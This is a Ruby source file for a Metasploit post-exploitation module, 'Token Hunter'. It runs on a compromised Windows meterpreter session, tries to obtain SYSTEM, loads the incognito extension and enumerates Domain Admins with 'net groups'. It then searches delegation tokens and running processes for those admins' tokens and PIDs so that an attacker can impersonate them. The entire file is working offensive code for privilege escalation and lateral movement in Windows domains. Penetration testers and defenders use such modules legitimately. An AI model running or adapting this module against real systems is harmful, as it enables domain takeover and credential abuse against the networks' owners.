##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/post/windows/priv'
require 'msf/core/post/common'

class Metasploit3 < Msf::Post
	include Msf::Post::Windows::Priv
	include Msf::Post::Common

	def initialize(info={})
		super(update_info(info,
			'Name'             => "Windows Gather Enumerate Domain Admin Tokens (Token Hunter)",
			'Description'      => %q{
					This module will identify systems that have a Domain Admin (delegation) token
					on them.  The module will first check if sufficient privileges are present for
					certain actions, and run getprivs for system.  If you elevated privs to system,
					the SeAssignPrimaryTokenPrivilege will not be assigned, in that case try
					migrating to another process that is running as system.  If no sufficient
					privileges are available, the script will not continue.
				},
			'License'         => MSF_LICENSE,
			'Version'         => '$Revision$',
			'Platform'        => ['windows'],
			'SessionTypes'    => ['meterpreter'],
			'Author'          => ['Joshua Abraham <jabra[at]rapid7.com>']
		))
		register_options(
			[
				OptBool.new('GETSYSTEM', [ true, 'Attempt to get SYSTEM privilege on the target host.', true])
			], self.class)
	end

	def get_system
		print_status("Trying to get SYSTEM privilege")
		results = session.priv.getsystem
		if results[0]
			print_status("Got SYSTEM privilege")
		else
			print_error("Could not obtain SYSTEM privileges")
		end
	end

	def priv_check
		if is_system?
			privs = session.sys.config.getprivs
			if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
				return true
			else
				return false
			end
		elsif is_admin?
			return true
		else
			return false
		end
	end

	def get_members(results)
		members = []

		# Usernames start somewhere around line 6
		results = results.slice(6, results.length)
		# Get group members from the output
		results.each do |line|
			line.split("  ").compact.each do |user|
				next if user.strip == ""
				next if user =~ /-----/
				next if user =~ /The command completed successfully/i
				members << user.strip
			end
		end

		return members
	end

	# return the value from the registry
	def reg_getvaldata(key,valname)
		value = nil
		begin
			root_key, base_key = client.sys.registry.splitkey(key)
			open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
			value = open_key.query_value(valname).data
			open_key.close
		rescue
		end
		return value
	end

	# extract the primary domain from the registry
	def get_domain
		domain = nil
		begin
			subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
			v_name = "DCName"
			dom_info = reg_getvaldata(subkey, v_name)
			if not dom_info.nil? and dom_info =~ /\./
				foo = dom_info.split('.')
				domain = foo[1].upcase
			else
				print_error("Error parsing output from the registry. (#{dom_info})")
			end
		rescue
			print_error("This host is not part of a domain.")
		end
		return domain
	end

	def run
		if session
			@host_info = session.sys.config.sysinfo
		else
			print_error("Error! The session is not fully loaded yet")
			return
		end

		print_status("Scanning session #{session.sid} / #{session.tunnel_peer}")

		# get system, if requested.
		get_system if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM'])

		## Make sure we meet the requirements before running the module
		if not priv_check
			print_error("Abort! Did not pass the priv check")
			return
		end

		# get var
		domain = get_domain

		if domain.nil?
			return
		end

		# load incognito
		session.core.use("incognito") if(! session.incognito)

		if(! session.incognito)
			print_error("Failed to load incognito on #{session.sid} / #{session.tunnel_peer}")
			return
		end

		# gather data
		usr_res = cmd_exec("net", "groups \"Domain Admins\" /domain")
		domain_admins = get_members(usr_res.split("\n"))

		domain_admins.each do |da_user|
			#Create a table for domain admin PIDs, users, IPs, and SIDs
			tbl_pids = Rex::Ui::Text::Table.new(
				'Header'  => 'Domain admin token PIDs',
				'Indent'  => 1,
				'Columns' => ['sid', 'IP', 'User', 'PID']
			)

			# parse delegation tokens
			res = session.incognito.incognito_list_tokens(0)
			if res
				res["delegation"].split("\n").each do |user|
					ndom,nusr = user.split("\\")
					if not nusr
						nusr = ndom
						ndom = nil
					end

					if ndom == domain and da_user == nusr
						sid = session.sid
						peer = session.tunnel_peer
						print_good("Found token for session #{sid}: #{peer} - #{nusr} (Delegation Token)")
					end
				end
			end

			# parse process list
			domain_admin_pids = ""
			session.sys.process.get_processes().each do |proc|
				if (proc['user'] == "#{domain}\\#{da_user}")
					sid = session.sid
					peer = session.tunnel_peer
					target_pid = proc['pid']
					tbl_pids << [sid, peer, da_user, target_pid]
					print_good("Found PID on session #{sid}: #{peer} - #{da_user} (PID: #{target_pid})")
				end
			end

			#At the end of the loop, store and print results for this da_user
			if not tbl_pids.rows.empty? and session.framework.db.active
				report_note(
					:host => session.tunnel_peer,
					:type => "pid",
					:data => tbl_pids.to_csv
				)
			end
		end
	end

end
